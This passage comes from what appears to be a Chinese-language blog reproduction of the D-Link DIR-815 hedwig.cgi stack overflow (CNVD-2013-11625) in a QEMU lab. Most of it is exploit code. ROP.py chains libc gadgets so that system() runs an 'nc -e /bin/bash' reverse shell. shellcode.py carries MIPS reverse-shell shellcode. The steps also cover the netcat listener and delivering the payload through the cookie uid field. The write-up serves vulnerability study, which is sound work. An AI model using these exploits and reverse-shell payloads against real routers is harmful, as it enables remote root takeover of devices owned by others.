li $t4, 0xFFFFFFEF
not $a2, $t4
li $v0, 4170
syscall 0x42424

lui $t0, 0x6962
ori $t0, $t0,0x2f2f
sw $t0, -20($sp)

lui $t0, 0x6873
ori $t0, 0x2f6e
sw $t0, -16($sp)

slti $a3, $zero, 0xFFFF
sw $a3, -12($sp)
sw $a3, -4($sp)

addi $a0, $sp, -20
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8

addiu $sp, $sp, -20

slti $a2, $zero, 0xFFFF
li $v0, 4011
syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode

fd = open("payload", "wb")
fd.write(payload)
fd.close()

exp中都反弹 shell,反弹的 IP 地址为宿主机 192.168.2.1,端口号为 8888

为了接收反弹 shell,首先在宿主机开启一个监听:

1
nc -lvnp 8888

两个 poc 脚本之中选择一个,在宿主机上写入 poc.py,然后执行 poc.py 生成 payload

以第一个ROP的exp为例复现

将这个新生成的 payload 文件上传到 QEMU 虚拟机的路由器文件系统根目录下

1
sudo scp -o HostKeyAlgorithms=+ssh-rsa payload root@192.168.2.2:~/squashfs-root/

然后修改一下 run.sh 中的启动命令,因为我们现在不需要 gdbserver 调试了,直接启动 hedwig.cgi 即可:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
export CONTENT_LENGTH="12"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "icyice=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

在 QEMU 虚拟机中运行 run.sh,然后宿主机上会显示已连接,并且可以正常使用 shell 命令查看路由器系统中的内容:

我们就可以以 root 权限来向路由器系统任意写入文件:

image-20260415111537962

you have been pwned!复现到了这最后一步操作,感觉一下就上来了:)

向 httpd 服务发送 HTTP 报文

前面在 http_conf 中配置了如下内容来启动 httpd 服务:

1
2
3
4
5
6
7
Server {
ServerName "Linux, HTTP/1.1, " # 服务器的名称和协议
ServerId "1234" # 服务器的标识符
Family inet # 使用的协议族,这里是 IPv4
Interface eth0 # 绑定的网络接口,这里是网卡 eth0
Address 192.168.2.2 # qemu 的 ip 地址
Port "4321" # 对应 web 访问端口,服务器监听端口

于是直接向 192.168.2.2:4321 发送 HTTP 报文

后面操作差不多了

ROP.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import requests

context(os='linux', arch='mips', log_level='debug')

cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell

libc_base = 0x77f34000

# 创建 payload
payload = b'a' * 0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a' * (4 * 7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a' * 0x18
payload += cmd

# 定义目标 URL 和数据
url = "http://192.168.2.2:4321/hedwig.cgi"
data = {"icyice": "pwner"}

# 定义请求头
headers = {
"Cookie": b"uid=" + payload,
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "12"
}

# 发送 POST 请求
res = requests.post(url=url, headers=headers, data=data)

# 打印响应
print(res)

shellcode.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424

slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
not $a1, $t4
slti $a2, $zero, 0xFFFF
li $v0, 4183
syscall 0x42424

andi $a0, $v0, 0xFFFF
li $v0, 4041
syscall 0x42424
li $v0, 4041
syscall 0x42424

lui $a1, 0xB821 # Port: 8888
ori $a1, 0xFF01
addi $a1, $a1, 0x0101
sw $a1, -8($sp)

li $a1, 0x0102A8C0 # IP: 192.168.2.1
sw $a1, -4($sp)
addi $a1, $sp, -8

li $t4, 0xFFFFFFEF
not $a2, $t4
li $v0, 4170
syscall 0x42424

lui $t0, 0x6962
ori $t0, $t0,0x2f2f
sw $t0, -20($sp)

lui $t0, 0x6873
ori $t0, 0x2f6e
sw $t0, -16($sp)

slti $a3, $zero, 0xFFFF
sw $a3, -12($sp)
sw $a3, -4($sp)

addi $a0, $sp, -20
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8

addiu $sp, $sp, -20

slti $a2, $zero, 0xFFFF
li $v0, 4011
syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode

# 定义目标 URL 和数据
url = "http://192.168.2.2:4321/hedwig.cgi"
data = {"icyice" : "pwner"}

# 定义请求头
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "12"
}

# 发送 POST 请求
res = requests.post(url = url, headers = headers, data = data)

# 打印响应
print(res)

最后附上复现学习过程中的参考文章:

[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪安全社区|专业技术交流与安全研究论坛

CNVD-2013-11625复现 | 坠入星野的月🌙

[CNVD-2013-11625 DIR-815 栈溢出漏洞 | Hexo](https://khighl.github.io/2025/06/11/CNVD-2013-11625 DIR-815 栈溢出漏洞/)

CNVD-2013-11625 | 云梦